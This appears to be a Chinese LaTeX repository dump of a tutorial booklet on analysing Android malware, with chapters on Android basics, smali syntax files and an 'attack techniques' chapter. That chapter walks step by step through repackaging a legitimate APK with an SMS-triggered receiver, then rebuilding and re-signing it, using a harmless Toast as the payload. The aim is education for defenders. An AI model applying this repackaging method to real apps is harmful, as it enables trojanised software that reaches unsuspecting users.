这本小册子的{\LaTeX}源文件公开发布在\url{http://github.com/secmobi/amatutor}。这些源文件本身(包括其中的\lstinline!.tex!文件、代码片段、图片等)以及由它们编译产生的PDF文件中的实际内容,除申明引用自别处外,均系作者原创。 49 | 50 | 这些文件或内容均遵循“署名-非商业性使用-禁止演绎 2.5 中国大陆 (CC BY-NC-ND 2.5)”协议发布。也就是说,您可以自由地复制、发行、展览、表演、放映、广播或通过信息网络传播本作品,惟须遵守下列条件: 51 | 52 | \begin{itemize} 53 | \item 署名 — 您必须按照作者或者许可人指定的方式对作品进行署名 54 | \item 非商业性使用 — 您不得将本作品用于商业目的 55 | \item 禁止演绎 — 您不得修改、转换或者以本作品为基础进行创作 56 | \end{itemize} 57 | 58 | 该协议的完整法律文本可以查阅:\url{http://creativecommons.org/licenses/by-nc-nd/2.5/cn/legalcode}。 59 | 60 | 根据上述协议的框架,对本作品中全部或部分内容的出版或引用,包括网络和纸质两种传播方式,如果是盈利性目的,或实际直接产生盈利效应,须经作者书面同意。 61 | 62 | 如果这份资料为您的学习和学术研究提供了参考或帮助,请在相关论文中引用它。Bib{\TeX}如下: 63 | \lstinputlisting[numbers=none]{code/amatutor.bib} 64 | 65 | \CTEXsetup[format={\Large\bfseries\centering}]{section} 66 | -------------------------------------------------------------------------------- /smali.sty: -------------------------------------------------------------------------------- 1 | %!TEX encoding = UTF-8 Unicode 2 | \RequirePackage{color} 3 | \definecolor{color1}{RGB}{0, 0, 255} 4 | \definecolor{color2}{RGB}{128, 0, 255} 5 | \definecolor{color3}{RGB}{0, 128, 0} 6 | \definecolor{color4}{RGB}{255, 128, 0} 7 | 8 | \RequirePackage{listings} 9 | \lstdefinelanguage{smali}{ 10 | morekeywords=[1]{add-double,add-double/2addr,add-float,add-float/2addr,add-int,add-int/2addr,add-int/lit16,add-int/lit8,add-long,add-long/2addr,aget,aget-boolean,aget-byte,aget-char,aget-object,aget-short,aget-wide,and-int,and-int/2addr,and-int/lit16,and-int/lit8,and-long,and-long/2addr,aput,aput-boolean,aput-byte,aput-char,aput-object,aput-short,aput-wide,array-length,check-cast,cmp-long,cmpg-double,cmpg-float,cmpl-double,cmpl-float,const,const-class,const-string,const-string-jumbo,const-wide,const-wide/16,const-wide/32,const-wide/high16,const/16,const/4,const/high16,div-double,div-double/2addr,div-float,div-float/2addr,div-int,div-int/2addr,div-int/lit16,div-int/lit8,div-long,div-long/2addr,double-to-float,double-to-int,double-to-long,execute-inline,fill-array-data,filled-new-array,filled-new-array/range,float-to-double,float-to-int,float-to-long,goto,goto/16,goto/32,if-eq,if-eqz,if-ge,if-gez,if-gt,if-gtz,if-le,if-lez,if-lt,if-ltz,if-ne,if-nez,iget,iget-boolean,iget-byte,iget-char,iget-object,iget-object-quick,iget-quick,iget-short,iget-wide,iget-wide-quick,instance-of,int-to-byte,int-to-char,int-to-double,int-to-float,int-to-long,int-to-short,invoke-direct,invoke-direct-empty,invoke-direct/range,invoke-interface,invoke-interface/range,invoke-static,invoke-static/range,invoke-super,invoke-super-quick,invoke-super-quick/range,invoke-super/range,invoke-virtual,invoke-virtual-quick,invoke-virtual-quick/range,invoke-virtual/range,iput,iput-boolean,iput-byte,iput-char,iput-object,iput-object-quick,iput-quick,iput-short,iput-wide,iput-wide-quick,long-to-double,long-to-float,long-to-int,monitor-enter,monitor-exit,move,move-exception,move-object,move-object/16,move-object/from16,move-result,move-result-object,move-result-wide,move-wide,move-wide/16,move-wide/from16,move/16,move/from16,mul-double,mul-double/2addr,mul-float,mul-float/2addr,mul-int,mul-int/2addr,mul-int/lit8,mul-int/lit16,mul-long,mul-long/2addr,neg-double,neg-float,neg-int,neg-long,new-array,new-instance,nop,not-int,not-long,or-int,or-int/2addr,or-int/lit16,or-int/lit8,or-long,or-long/2addr,rem-double,rem-double/2addr,rem-float,rem-float/2addr,rem-int,rem-int/2addr,rem-int/lit16,rem-int/lit8,rem-long,rem-long/2addr,return,return-object,return-void,return-wide,sget,sget-boolean,sget-byte,sget-char,sget-object,sget-short,sget-wide,shl-int,shl-int/2addr,shl-int/lit8,shl-long,shl-long/2addr,shr-int,shr-int/2addr,shr-int/lit8,shr-long,shr-long/2addr,sparse-switch,sput,sput-boolean,sput-byte,sput-char,sput-object,sput-short,sput-wide,sub-double,sub-double/2addr,sub-float,sub-float/2addr,sub-int,sub-int/2addr,sub-int/lit16,sub-int/lit8,sub-long,sub-long/2addr,throw,ushr-int,ushr-int/2addr,ushr-int/lit8,ushr-long,ushr-long/2addr,xor-int,xor-int/2addr,xor-int/lit16,xor-int/lit8,xor-long,xor-long/2addr}, 11 | morekeywords=[2]{v0,v1,v2,v3,v4,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18,v19,v20,v21,v22,v23,v24,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,v35,v36,v37,v38,v39,v40,p0,p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13,p14,p15,p16,p17,p18,p19,p20}, 12 | morekeywords=[3]{abstract,annotation,bridge,constructor,declared-synchronized,enum,final,interface,native,private,protected,public,static,strictfp,synchronized,synthetic,system,transient,varargs,volatile}, 13 | morekeywords=[4]{annotation,array-data,catch,catchall,class,end,enum,epilogue,field,implements,line,local,locals,method,packed-switch,parameter,prologue,registers,restart,source,sparse-switch,subannotation,super}, 14 | alsodigit={-/}, 15 | sensitive=true, 16 | morecomment=[l]{\#}, 17 | morestring=[b]", 18 | % morestring=[s]{L}{;}, 19 | } 20 | 21 | \lstset{ 22 | keywordstyle=[1]{\color{color1}}, 23 | keywordstyle=[2]{\color{color2}}, 24 | keywordstyle=[3]{\color{color3}}, 25 | keywordstyle=[4]{\color{color4}}, 26 | } 27 | -------------------------------------------------------------------------------- /chapter-cn/attack.tex: -------------------------------------------------------------------------------- 1 | %!TEX encoding = UTF-8 Unicode 2 | \chapter{攻击技术} 3 | 安全界一直存在这样的争议:攻击技术的充分公开,带来的是更多的模仿,还是更有效的防范?在PC病毒发展的早期,一次病毒源码公开事件带来了史上第一次病毒数量的爆发\footnote{1987年9月,Ralf Burger在他的书\textit{Computer Viruses: a High-tech Disease}中公布了感染式病毒Vienna的反汇编代码,并详细介绍了计算机病毒的工作原理和编写方法。随后,大量模仿它的新病毒出现。},这成为前一观点支持者的论据之一。 4 | 5 | 在这个问题上,笔者的看法如下: 6 | \begin{enumerate} 7 | \item 正如前言所述,在这个领域、这个时候,公开交流所带来的边界收益会比它可能带来的损失要大得多; 8 | \item 安全工程师要分析、检测、防御恶意代码,了解其攻击技术这一步骤是不可避免的; 9 | \item Peter Szor曾说\cite{art_virus}:“即使你编写了许多计算机病毒,也不能使你成为这一领域的专家。” 10 | \end{enumerate} 11 | 12 | 因此,这一章我们将介绍对一些攻击技术的概念验证(PoC, Proof of Concept)或实际分析。 13 | \section{重新打包} 14 | \label{Sec:repackage} 15 | 重新打包(re-package)又称植入,是目前Android平台主要攻击方式之一。2011年3月初,Google的官方Market上出现58款被植入恶意代码DroidDream的应用程序,就是利用了这一技术。 16 | 17 | 所谓植入攻击,是指攻击者将恶意代码植入正常软件中,通过软件市场、下载站、手机论坛等途径分发给用户。用户安装后,正常使用软件而感觉不到任何异常,但附带的恶意代码已经开始运行。从概念上看,这类攻击很像PC平台的感染式病毒。但与感染式病毒不同的是,植入型攻击并无自我复制性,而是通过这种“植入”而获得伪装效果,即类似于木马。 18 | 19 | 植入型攻击是一种危险性极大的攻击手段。一份恶意代码可以植入多个正常软件,即使单个软件的传播范围不广,但移植成本几乎为零,因此可以批量植入,最终造成大范围攻击。此外,用户安装了被植入的软件后,在第一次使用软件之前,恶意代码就能通过大量系统事件(例如接听电话、收发短信、开机等)而触发开始执行,这是它与PC病毒的另一不同之处。 20 | 21 | 植入型攻击的步骤可以分为:编写攻击代码、解包正常软件、植入恶意代码、重新打包、重新签名。接下来我们逐一介绍并编码实现。 22 | \subsection{编写攻击代码} 23 | 恶意代码为了持久有效地攻击,通常有两种意图: 24 | \begin{enumerate} 25 | \item 隐蔽而不被用户察觉,以延长攻击时间,增加攻击次数和可能; 26 | \item 尽早运行,以快速攻击、快速获利、快速退出。 27 | \end{enumerate} 28 | 因此它既不能影响被植入软件的正常运行,以免被用户发现;又要防止用户安装了以后不手工点击运行,因此要有自动启动的能力。我们曾介绍,Android平台上,一个软件可以有多个入口点——不同的活动、服务、广播接收器等。植入型攻击正是利用了广播接收器来自启动,并利用服务持久化攻击。 29 | 30 | 我们建立一个包名为com.example.Malware的“恶意代码”,并在其中实现名为\lstinline!SmsReceiver!的广播接收器,代码如下: 31 | \lstinputlisting[language=Java,caption=SmsReceiver.java,label=Code:SmsReceiver]{code/SmsReceiver.java} 32 | 33 | \lstinline!SmsReceiver!继承了Android的\lstinline!BroadcastReceiver!类,在重载的\lstinline!onReceive()!函数中,用\lstinline!Toast!弹出一个提示信息,以便后续观察是否成功运行。攻击者一般利用这一执行机会开启一个新的服务,并在服务中真正地开始恶意行为。 34 | 35 | 为了在每次收到短信时触发\lstinline!SmsReceiver!,我们在\lstinline!AndroidManifest.xml!文件中进行申明、设置intent-filter,并申请接收短信权限: 36 | \lstinputlisting[language=XML,caption=Malware的AndroidManifest.xml, label=Code:MalwareManifest]{code/MalwareManifest.xml} 37 | 其中,第6行申请了\lstinline!RECEIVER_SMS!的权限,7到11行注册了这个BroadcastReceiver并设置了对收短信行为的intent-filter。注意我们在\lstinline!receiver!的\lstinline!android:name!属性中没有使用\lstinline!.SmsReceiver!的缩写路径,而是采用全路径,这是为后面植入所准备。 38 | 39 | 恶意代码通常设置多种常见系统事件的接收器,在它们的\lstinline!onReceive()!实现中开启一个恶意的服务。我们不演示这些行为,直接将工程编译,得到Malware.apk。 40 | \subsection{解包正常软件} 41 | 选取一个正常软件的安装文件,例如Software.apk(package名为net.claudxiao.Software)。利用apktool工具将其解包: 42 | \begin{lstlisting}[language=bash, numbers=none] 43 | apktool d Software.apk 44 | \end{lstlisting} 45 | 成功解包后,当前目录下会生成名为Software的目录。类似地,我们将上一节编写的Malware.apk解包,得到Malware目录。 46 | \subsection{植入恶意代码} 47 | 我们需要使用Malware.apk中的接收器\lstinline!SmsReceiver!。因此,将apktool解包和反汇编后得到的Malware/smali/com/example/Malware/SmsReceiver.smali文件拷贝至Software目录的对应路径下,即Software/smali/com/example/Malware/SmsReceiver.smali。 48 | 49 | 接下来修改Software/AndroidManifest.xml文件,在其中添加\ref{Code:SmsReceiver}的6到11行,得到如下XML文件: 50 | \lstinputlisting[language=XML,caption=被植入的AndroidManifest.xml, label=Code:NormalManifest]{code/NormalManifest.xml} 51 | 注意,这里\lstinline!receiver!的\lstinline!android:name!属性继续使用了全路径。 52 | \subsection{重新打包} 53 | 使用apktool重新打包Software: 54 | \begin{lstlisting}[language=bash, numbers=none] 55 | apktool b Software unsigned.apk 56 | \end{lstlisting} 57 | 在当前目录生成了名为unsigned.apk的安装包。这个包还无法安装到手机或模拟器上,因为apktool并不生成安装包的签名数据。 58 | \subsection{重新签名} 59 | 使用Android源码编译中得到的signapk.jar工具以及用于测试的密钥testkey.pk8和testkey.x509.pem对上一步产生的unsigned.apk签名: 60 | \begin{lstlisting}[language=bash, numbers=none] 61 | java -jar signapk.jar testkey.x509.pem testkey.pk8 unsigned.apk infected.apk 62 | \end{lstlisting} 63 | 这样,我们就得到了一个具有签名的被植入软件。用户使用它时,会和植入前的表现一模一样,但已经包含了一个短信事件接收器。 64 | \subsection{攻击效果验证} 65 | \begin{figure}[htb] 66 | \centering 67 | \includegraphics[width=8cm]{image/toast.jpg} 68 | \caption{植入型攻击PoC演示效果} 69 | \label{Fig:Toast} 70 | \end{figure} 71 | 将infected.apk安装到模拟器,并向模拟器发一条短信\footnote{使用ddms或者telnet工具,请参考SDK文档或Android开发书籍}。如图\ref{Fig:Toast}所示,可以看到\lstinline!Toast!的提示消息已经弹出,也就是说在收到短信的同时,我们植入的代码已经运行起来了。 72 | \section{代码混淆} 73 | \section{类的动态加载} 74 | -------------------------------------------------------------------------------- /code/am.txt: -------------------------------------------------------------------------------- 1 | usage: am [subcommand] [options] 2 | usage: am start [-D] [-W] [-P ] [--start-profiler ] 3 | [--R COUNT] [-S] 4 | am startservice 5 | am force-stop 6 | am kill 7 | am kill-all 8 | am broadcast 9 | am instrument [-r] [-e ] [-p ] [-w] 10 | [--no-window-animation] 11 | am profile [looper] start 12 | am profile [looper] stop [] 13 | am dumpheap [flags] 14 | am set-debug-app [-w] [--persistent] 15 | am clear-debug-app 16 | am monitor [--gdb ] 17 | am screen-compat [on|off] 18 | am display-size [reset|MxN] 19 | am to-uri [INTENT] 20 | am to-intent-uri [INTENT] 21 | 22 | am start: start an Activity. Options are: 23 | -D: enable debugging 24 | -W: wait for launch to complete 25 | --start-profiler : start profiler and send results to 26 | -P : like above, but profiling stops when app goes idle 27 | -R: repeat the activity launch times. Prior to each repeat, 28 | the top activity will be finished. 29 | -S: force stop the target app before starting the activity 30 | 31 | am startservice: start a Service. 32 | 33 | am force-stop: force stop everything associated with . 34 | 35 | am kill: Kill all processes associated with . Only kills. 36 | processes that are safe to kill -- that is, will not impact the user 37 | experience. 38 | 39 | am kill-all: Kill all background processes. 40 | 41 | am broadcast: send a broadcast Intent. 42 | 43 | am instrument: start an Instrumentation. Typically this target 44 | is the form /. Options are: 45 | -r: print raw results (otherwise decode REPORT_KEY_STREAMRESULT). Use with 46 | [-e perf true] to generate raw output for performance measurements. 47 | -e : set argument to . For test runners a 48 | common form is [-e [,...]]. 49 | -p : write profiling data to 50 | -w: wait for instrumentation to finish before returning. Required for 51 | test runners. 52 | --no-window-animation: turn off window animations will running. 53 | 54 | am profile: start and stop profiler on a process. 55 | 56 | am dumpheap: dump the heap of a process. Options are: 57 | -n: dump native heap instead of managed heap 58 | 59 | am set-debug-app: set application to debug. Options are: 60 | -w: wait for debugger when application starts 61 | --persistent: retain this value 62 | 63 | am clear-debug-app: clear the previously set-debug-app. 64 | 65 | am monitor: start monitoring for crashes or ANRs. 66 | --gdb: start gdbserv on the given port at crash/ANR 67 | 68 | am screen-compat: control screen compatibility mode of . 69 | 70 | am display-size: override display size. 71 | 72 | am to-uri: print the given Intent specification as a URI. 73 | 74 | am to-intent-uri: print the given Intent specification as an intent: URI. 75 | 76 | specifications include these flags and arguments: 77 | [-a ] [-d ] [-t ] 78 | [-c [-c ] ...] 79 | [-e|--es ...] 80 | [--esn ...] 81 | [--ez ...] 82 | [--ei ...] 83 | [--el ...] 84 | [--eu ...] 85 | [--eia [, [,] [-f ] 88 | [--grant-read-uri-permission] [--grant-write-uri-permission] 89 | [--debug-log-resolution] [--exclude-stopped-packages] 90 | [--include-stopped-packages] 91 | [--activity-brought-to-front] [--activity-clear-top] 92 | [--activity-clear-when-task-reset] [--activity-exclude-from-recents] 93 | [--activity-launched-from-history] [--activity-multiple-task] 94 | [--activity-no-animation] [--activity-no-history] 95 | [--activity-no-user-action] [--activity-previous-is-top] 96 | [--activity-reorder-to-front] [--activity-reset-task-if-needed] 97 | [--activity-single-top] [--activity-clear-task] 98 | [--activity-task-on-home] 99 | [--receiver-registered-only] [--receiver-replace-pending] 100 | [--selector] 101 | [ | | ] 102 | 103 | -------------------------------------------------------------------------------- /chapter-cn/general.tex: -------------------------------------------------------------------------------- 1 | %!TEX encoding = UTF-8 Unicode 2 | \chapter{Android基础} 3 | 分析Android恶意代码,首先要了解这个系统的一些知识,例如APK文件格式、软件开发方法和编译过程、常用API的功能、常见代码片段的含义等;还需要对系统内部结构有所认识,例如DEX文件格式、Dalvik指令集、Android系统结构等。其中,API和代码片段的情况可以查阅文档和阅读任何一本Android软件开发书籍。但其他知识散落在文档和书籍之中,没有专门地整理和介绍。本章对它们作简单介绍。DEX文件结构和Dalvik指令集比较重要,将在第\ref{Chap:dalvik}章单独说明。 4 | 5 | 除了下面这些内容,建议在学习和工作时多查阅Android开发文档,遇到问题时多阅读和分析Android的源代码(尤其是源码中的文档)。国内有几本关于Android系统原理分析的书\cite{android_jishuneimu, android_shenrulijie, android_neihepouxi}也值得一看。 6 | 7 | \section{系统结构} 8 | 如图\ref{Fig:system-architecture}所示,Android分为四层,自底向上分别是Linux内核与驱动、系统库和虚拟机、应用程序框架、应用程序。 9 | \begin{figure}[htbp] 10 | \centering 11 | \includegraphics[width=14cm]{image/system-architecture.jpg} 12 | \caption{Android系统结构} 13 | \label{Fig:system-architecture} 14 | \end{figure} 15 | 16 | \subsubsection{Linux内核与驱动} 17 | Android使用完整的Linux内核,获得内存管理、进程管理、文件管理、用户管理、进程间通信等能力。 18 | 19 | 为了控制手机的一些特有硬件,例如摄像头、触控屏、蓝牙等,这一层还包含这些硬件设备在Linux上的驱动程序。 20 | 21 | 这一层向上提供的接口是硬件抽象层(HAL),Android规定了HAL的接口规范。手机厂商可以针对不同的设备分别开发驱动,并以统一的接口为高层提供服务,也就是所谓的Android系统移植。 22 | 23 | \subsubsection{系统库和虚拟机} 24 | Android系统库包括大量被上层复用的基本功能,例如标准C库libc浏览器引擎Webkit、数据库管理系统SQLite、图像处理OpenGL等。 25 | 26 | Android使用一种称之为Dalvik的虚拟机。它非常类似于Java虚拟机JVM,但并不是真正的JVM。事实上,JVM虽然有垃圾回收等机制,但并非为移动设备而设计,在运行速度、资源占用等方面难以满足移动终端硬件的苛刻眼球。因此,Android实现了Dalvik。从实现方式上看,两者的最大区别在于Dalvik是基于寄存器的结构,而JVM是基于栈的结构。 27 | 28 | \subsubsection{应用程序框架} 29 | 这一层体现了Android对移动设备应用程序的理解。它隐藏了系统中进程、内存管理等概念;针对不同应用需求抽象出活动(activity)、服务(service)、内容提供者(content provider)、广播接收器(broadcast receiver)的概念;提供了窗口管理、通话管理、软件包管理、资源管理、地理位置管理等常用的功能。 30 | 31 | 这一层向上提供了Java形式的Android应用程序开发的框架与接口。 32 | 33 | \subsubsection{应用程序} 34 | 在最高层,软件开发者通过Java语言和下层框架接口,在Android平台开发各类特色应用。 35 | 36 | Android随系统附带了一些应用程序,比如通话、通讯录、Web浏览器、软件列表等基本功能。这也意味着,用户所见到的手机界面和功能,实际上都是这一层的一个或多个应用程序。这种设计思想使得用户的所有操作都通过规定的框架和接口调用底层,保证了系统的稳定性和安全性。 37 | 38 | \section{软件开发} 39 | 除了上面提到的系统移植,Android上的开发可以分为系统开发和应用程序开发。两者都不涉及与硬件的直接交互。 40 | 41 | \subsection{系统级开发} 42 | 系统开发面向第二层,即系统库。开发者使用C或C++,调用Linux内核、Android系统库提供的接口,增加系统的功能。这些功能以库文件形式增加到系统中,通过JNI\footnote{Java Native Interface,是Java标准的一部分,允许Java代码与其他语言写的代码进行交互。}\index{JNI}供上层的应用程序调用。 43 | 44 | Android提供了NDK(Native Development Kit)\index{NDK}工具支持这种开发。开发者可以使用NDK将C/C++代码编译为ELF格式动态链接库文件,并打包到APK文件中。软件安装时将ELF文件解压到本地目录,在运行时根据需要加载,供自身调用。这样,开发者不需要编译集成整个系统就能做到系统开发了。 45 | 46 | 除了被上层程序作为功能模块调用,从NDK Rev 5开始,可以完全用C/C++编写一个完整的应用程序。但并不推荐这种开发方法,因为GUI组件的生命周期管理等工作需要自行编码实现,工作量大而稳定性差。NDK开发的优点在于,它可以利用一些底层的库函数,并在图像处理等高运算量工作上运行速度会明显快于Java开发的程序(后者运行于Dalvik虚拟机之中)。此外,它还是一种极为重要的软件保护机制。 47 | 48 | 值得我们注意的是,传统PC运行在x86架构的CPU之上,其可执行文件中是x86的可执行代码。但Android手机一般采用ARM架构的CPU,其内核、系统库等可执行文件中是基于ARM的可执行代码。因此,系统开发中的编译不能用PC上的\lstinline!gcc!等工具。实际上,这类开发与嵌入式开发一样,需要用到所谓的交叉编译技术,即使用特殊的编译器,其自身是x86格式,而生成的目标文件是ARM格式。NDK提供了包括调试工具在内的完整工具链。 49 | 50 | \subsection{应用程序开发} 51 | Android上应用程序的开发使用Java语言。有两种开发环境可以选择: 52 | \begin{itemize} 53 | \item 图形界面环境,使用Eclipse和ADT插件 54 | \item 命令行环境,使用Apache Ant编译 55 | \end{itemize} 56 | 开发环境的建立方法可以参考文档或者任何一本开发书籍。 57 | 58 | Android封装了多种GUI控件,以Java类的方式提供给开发者。例如,文本框\lstinline!TextView!、列表\lstinline!ListView!、按钮\lstinline!Button!、菜单\lstinline!Menu!、图片\lstinline!ImageView!、状态栏提示\lstinline!Notification!等。开发者直接实例化这些类,并设置属性和动作,就可以开发丰富的GUI程序了。此外,还可以调用SQLite创建和访问数据库、调用Socket访问网络、调用OpenGL开发游戏等。 59 | 60 | \subsection{编译流程} 61 | 一个典型的Android工程包括下列文件和文件夹: 62 | \begin{itemize} 63 | \item[-] \lstinline!AndroidManifest.xml!\index{AndroidManifest.xml}:配置清单,包括软件名、系统版本、运行权限、基本组件、intent-filter等 64 | \item[-] \lstinline!src/!:Java源码,按package的结构组织 65 | \item[-] \lstinline!res/!:资源文件,例如\lstinline!drawable!子目录下的图标图片资源、\lstinline!layout!子目录下的布局资源、\lstinline!values!目录下的字符串资源等 66 | \item[-] \lstinline!jni/!:NDK开发的C/C++源码,以及Makefile文件 67 | \item[-] \lstinline!default.properties!:Eclipse使用的项目配置文件 68 | \item[-] \lstinline!build.properties!:Ant使用的项目配置文件 69 | \item[-] \lstinline!assets/!:程序需要使用的其他文件,例如额外的数据和可执行文件等 70 | \item[-] \lstinline!bin/!:SDK编译得到的APK文件 71 | \item[-] \lstinline!lib/!:NDK编译得到的ELF文件 72 | \end{itemize} 73 | 74 | 编译流程如图\ref{Fig:compilation}所示。 75 | \begin{figure}[htb] 76 | \centering 77 | \includegraphics[width=12cm]{image/compilation.png} 78 | \caption{Android应用程序编译流程} 79 | \label{Fig:compilation} 80 | \end{figure} 81 | 82 | 具体而言,编译步骤如下: 83 | \begin{enumerate} 84 | \item 生成资源类:使用SDK中的\lstinline!aapt!,根据\lstinline!res/!中的资源生成源码\lstinline!R.java!,其中定义了名为R的Java类,对资源建立数字索引,从而将源码与资源关联; 85 | \item 编译本地库:使用NDK中的工具链,将\lstinline!jni/!目录下的C/C++源文件,根据\lstinline!Makefile!中的规则编译为ELF动态链接库文件,放到\lstinline!lib/!目录下; 86 | \item 编译Java源码:使用Java SDK中的\lstinline!javac!,将所有Java源码编译为对应的\lstinline!.class!文件; 87 | \item 生成DEX文件:使用SDK中的\lstinline!dx!,将所有\lstinline!.class!文件转换为一个\lstinline!classes.dex!文件,即Dalvik虚拟机可执行文件; 88 | \item 打包资源:使用SDK中的\lstinline!aapt!,将\lstinline!res/!下的资源文件打包为一个名为\lstinline!resource.ap\_!的文件; 89 | \item 生成APK文件:使用SDK中的\lstinline!apkbuilder!,将配置文件、资源包、DEX文件等,生成APK安装文件; 90 | \item 签名APK文件:使用SDK中的\lstinline!jarsigner!工具,对APK文件签名,然后使用\lstinline!zipalign!使该APK文件的数据布局对齐,最终得到可以安装的APK文件。 91 | \end{enumerate} 92 | 93 | \section{APK文件} 94 | Android系统使用的安装文件后缀名为\lstinline!.apk!。它实际上是标准的ZIP格式\cite{url:zip_format}文件,可以使用\lstinline!unzip!等工具解压缩、\lstinline!zlib!等库进行自动化处理。 95 | 96 | 一个APK文件解压缩后,通常包括如下文件或文件夹: 97 | \begin{itemize} 98 | \item[-] \lstinline!AndroidManifest.xml!:项目配置清单,但不是明文的XML格式,直接打开无法阅读(参考第\ref{Sec:xml-decode}节); 99 | \item[-] \lstinline!classes.dex!:Dalvik可执行二进制文件,在运行时被动态优化为\lstinline!.dey!文件并由Dalvik虚拟机解释执行; 100 | \item[-] \lstinline!resources.arsc!:资源文件打包而成,字符串值(源码中\lstinline!res/value/Strings.xml!)就在其中; 101 | \item[-] \lstinline!res/!:资源文件夹,包括\lstinline!layout!、\lstinline!drawable!、\lstinline!raw!等; 102 | \item[-] \lstinline!META-INF/!:数字签名文件夹; 103 | \item[-] \lstinline!lib/!:动态链接库文件; 104 | \item[-] \lstinline!assets/!:原始文件文件夹,其中的文件不会被压缩,也不能像\lstinline!res/!目录下的资源文件一样通过资源类\lstinline!R!引用。 105 | \end{itemize} 106 | 其中,数字签名文件夹\lstinline!META-INF/!包含下列文件: 107 | \begin{itemize} 108 | \item[-] CERT.RSA:签名所使用的证书公钥 109 | \item[-] CERT.SF:待定 110 | \item[-] MANIFEST.MF:待定 111 | \end{itemize} 112 | 113 | \section{AndroidManifest.xml文件} 114 | AndroidManifest.xml\cite{url:android_manifest}\index{AndroidManifest.xml}文件是了解一个Android应用程序的第一步。它的结构如下: 115 | \lstinputlisting[language=xml,caption={AndroidManifest.xml文件的结构框架}]{code/manifest.xml} 116 | -------------------------------------------------------------------------------- /code/example-structures.smali: -------------------------------------------------------------------------------- 1 | .class public Lcom/lohan/crackme1/example; 2 | .super Ljava/lang/Object; 3 | .source "example.java" 4 | 5 | .field private static Counter:I 6 | 7 | .method public constructor ()V 8 | .registers 2 9 | 10 | .prologue 11 | .line 11 12 | invoke-direct {p0}, Ljava/lang/Object;->()V 13 | 14 | const/16 v0, 0x10 15 | sput v0, Lcom/lohan/crackme1/example;->Counter:I 16 | 17 | return-void 18 | .end method 19 | 20 | .method public static ArrayExample()V 21 | .registers 4 22 | 23 | .prologue 24 | const/4 v3, 0x1 25 | const/4 v2, 0x0 26 | 27 | .line 50 28 | const/4 v1, 0x5 29 | 30 | new-array v0, v1, [Ljava/lang/String; 31 | 32 | .line 52 33 | .local v0, someArray:[Ljava/lang/String; 34 | 35 | const-string v1, "set value at index 0" 36 | aput-object v1, v0, v2 37 | 38 | .line 53 39 | const-string v1, "index 1 has this value" 40 | aput-object v1, v0, v3 41 | 42 | .line 55 43 | aget-object v1, v0, v2 44 | 45 | aget-object v2, v0, v3 46 | 47 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z 48 | move-result v1 49 | 50 | if-eqz v1, :cond_1e 51 | 52 | .line 57 53 | sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream; 54 | const-string v2, "array at index 0 = 1 (wont happen)" 55 | invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V 56 | 57 | .line 59 58 | :cond_1e 59 | return-void 60 | .end method 61 | 62 | .method public static LoopExample()V 63 | .registers 4 64 | 65 | .prologue 66 | .line 15 67 | const/4 v0, 0x0 68 | 69 | .local v0, i:I 70 | :goto_1 71 | sget v1, Lcom/lohan/crackme1/example;->Counter:I 72 | 73 | if-lt v0, v1, :cond_6 74 | 75 | .line 17 76 | return-void 77 | 78 | .line 16 79 | :cond_6 80 | sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream; 81 | 82 | new-instance v2, Ljava/lang/StringBuilder; 83 | const-string v3, "current val for loop: " 84 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;->(Ljava/lang/String;)V 85 | invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; 86 | move-result-object v2 87 | 88 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; 89 | move-result-object v2 90 | 91 | invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V 92 | 93 | .line 15 94 | add-int/lit8 v0, v0, 0x1 95 | 96 | goto :goto_1 97 | .end method 98 | 99 | .method public static SwitchExample()V 100 | .registers 3 101 | 102 | .prologue 103 | .line 21 104 | const/16 v0, 0x2a 105 | 106 | .line 22 107 | .local v0, val:I 108 | 109 | sparse-switch v0, :sswitch_data_2e 110 | 111 | .line 27 112 | sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream; 113 | const-string v2, "invalid value" 114 | invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V 115 | 116 | .line 29 117 | :goto_c 118 | return-void 119 | 120 | .line 23 121 | :sswitch_d 122 | sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream; 123 | const-string v2, "val 1" 124 | invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V 125 | goto :goto_c 126 | 127 | .line 24 128 | :sswitch_15 129 | sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream; 130 | const-string v2, "val 2" 131 | invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V 132 | goto :goto_c 133 | 134 | .line 25 135 | :sswitch_1d 136 | sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream; 137 | const-string v2, "val 42" 138 | invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V 139 | goto :goto_c 140 | 141 | .line 26 142 | :sswitch_25 143 | sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream; 144 | const-string v2, "val 5" 145 | invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V 146 | goto :goto_c 147 | 148 | .line 22 149 | nop 150 | 151 | :sswitch_data_2e 152 | .sparse-switch 153 | 0x1 -> :sswitch_d 154 | 0x2 -> :sswitch_15 155 | 0x5 -> :sswitch_25 156 | 0x2a -> :sswitch_1d 157 | .end sparse-switch 158 | .end method 159 | 160 | .method public static TryCatchExample()V 161 | .registers 8 162 | 163 | .prologue 164 | const-string v7, ": " 165 | 166 | .line 33 167 | const-string v3, "google.com" 168 | 169 | .line 36 170 | .local v3, urlStr:Ljava/lang/String; 171 | :try_start_4 172 | new-instance v2, Ljava/net/URL; 173 | 174 | invoke-direct {v2, v3}, Ljava/net/URL;->(Ljava/lang/String;)V 175 | 176 | .line 37 177 | .local v2, url:Ljava/net/URL; 178 | invoke-virtual {v2}, Ljava/net/URL;->openStream()Ljava/io/InputStream; 179 | 180 | move-result-object v1 181 | 182 | .line 38 183 | .local v1, is:Ljava/io/InputStream; 184 